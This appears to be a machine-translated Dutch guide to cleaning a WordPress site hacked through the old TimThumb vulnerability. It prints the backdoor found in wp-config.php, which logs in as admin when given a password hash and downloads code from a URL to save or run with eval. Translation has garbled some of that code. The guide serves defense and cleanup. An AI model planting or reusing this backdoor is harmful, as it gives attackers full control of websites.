Hoe de TimThumb-hack in WordPress te repareren en op te ruimen
Dus als je het goed onthoudt, was er een beveiligingsprobleem met het TimThumb-script in augustus dat was opgelost. Tot onze verbazing gebruiken veel sites nog steeds de oude versie. We hebben de afgelopen maand drie sites gerepareerd, waarvan er één gisteren is. Dus het is logisch om gewoon een stap voor stap artikel te schrijven, zodat onze gebruikers het gewoon kunnen volgen. Alle drie gebruikers waarvoor we dit probleem oplossen, wisten niet eens wat TimThumb was of dat ze het gebruikten of niet.
TimThumb is een PHP-script dat het formaat van afbeeldingen wijzigt. Er zat een kwetsbaarheid in, maar het is SAFE om nu te gebruiken.
Dus hoe weet u dat uw site gehackt is? Als u een groot rood scherm in uw browser ziet wanneer u uw site bezoekt:
Als u begint te worden gebombardeerd met e-mails over gebruikers die worden omgeleid van uw site. Hoogstwaarschijnlijk is het zo dat uw site het slachtoffer is geworden van deze exploit.
Als een pro-waarschuwingsmaatregel zou iedereen deze Timthumb Vulnerability Scanner gewoon moeten gebruiken. Dit zal je vertellen of je de oudere versie van TimThumb gebruikt. Veel themaclubs hebben hun kern meteen een upgrade gegeven. Dus deze plugin zal controleren of de nieuwe beveiligde versie van Timthumb is geïnstalleerd of dat een oudere versie is geïnstalleerd.
Als uw site al ten prooi is gevallen aan deze Timthumb-uitbuiting, dan is dit wat u moet doen.
Eerst moet je de volgende bestanden verwijderen:
/wp-admin/upd.php /wp-content/upd.php
Meld u aan bij het WordPress-beheerdersdashboard en installeer uw WordPress-versie opnieuw. We zijn specifiek op zoek om deze bestanden opnieuw te installeren:
/wp-settings.php /wp-includes/js/jquery/jquery.js /wp-includes/js/110n.js
Open vervolgens je wp-config.php waar u waarschijnlijk deze grote malwarecode zult vinden die inloggegevens en cookies verzamelt. Deze code staat helemaal onderaan.
if (isset ($ _ GET ['pingnow']) && isset ($ _ GET ['pass'])) if ($ _GET ['pass'] == '19ca14e7ea6328a42e0eb13d585e4c22') if ($ _GET ['pingnow'] == 'login') $ user_login = 'admin'; $ user = get_userdatabylogin ($ user_login); $ user_id = $ gebruiker-> ID; wp_set_current_user ($ user_id, $ user_login); wp_set_auth_cookie ($ user_id); do_action ('wp_login', $ user_login); if (($ _GET ['pingnow'] == 'exec') && (isset ($ _ GET ['file']))) $ ch = curl_init ($ _ GET ['file']); $ fnm = md5 (rand (0,100)). '. php'; $ fp = fopen ($ fnm, "w"); curl_setopt ($ ch, CURLOPT_FILE, $ fp); curl_setopt ($ ch, CURLOPT_HEADER, 0); curl_setopt ($ ch, CURLOPT_TIMEOUT, 5); curl_exec ($ ch); curl_close ($ ch); fclose ($ fp); echo "location.href = '$ fnm';"; if (($ _GET ['pingnow'] == 'eval') && (isset ($ _ GET ['file']))) $ ch = curl_init ($ _ GET ['file']); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ ch, CURLOPT_HEADER, 0); curl_setopt ($ ch, CURLOPT_TIMEOUT, 5); $ re = curl_exec ($ ch); curl_close ($ ch); eval ($ her);
Zoek in de map van uw thema overal waar het TimThumb-script de cachebestanden opslaat. Meestal zitten ze in deze structuur:
/wp-content/themes/themename/scripts/cache/external_MD5Hash.php /wp-content/themes/themename/temp/cache/external_MD5Hash.php
Verwijder alles dat er zo uitziet. Als u niet zeker bent over dingen, verwijder dan alles dat geen afbeeldingsbestand is.
Het volgende dat u wilt doen is timthumb.php vervangen door de nieuwste versie die u kunt vinden op http://timthumb.googlecode.com/svn/trunk/timthumb.php
Nu zou het een goed idee zijn om uw wachtwoorden te wijzigen, te beginnen met uw MySQL-inloggegevens, aan uw WordPress inloginformatie. Vergeet niet om het wachtwoord voor MySQL in wp-config.php te wijzigen, anders krijg je het "Error Establishing Connection" scherm.
Verander de geheime sleutels in uw wp-config.php bestand. U kunt een nieuwe sleutel genereren door naar de online generator te gaan.
Nu ben je klaar. Vergeet niet om alle plugins voor pagina-caching te legen. Als een waarschuwingsmaatregel is het goed om ook de cache en cookies van uw browser te wissen.
Voor ontwikkelaars kunt u de functie Aanvullende afbeeldingsformaten in WordPress gebruiken om de Timthumb-functies te vervangen.
Laat ons weten of je verdere hulp nodig hebt door ons contactformulier te gebruiken.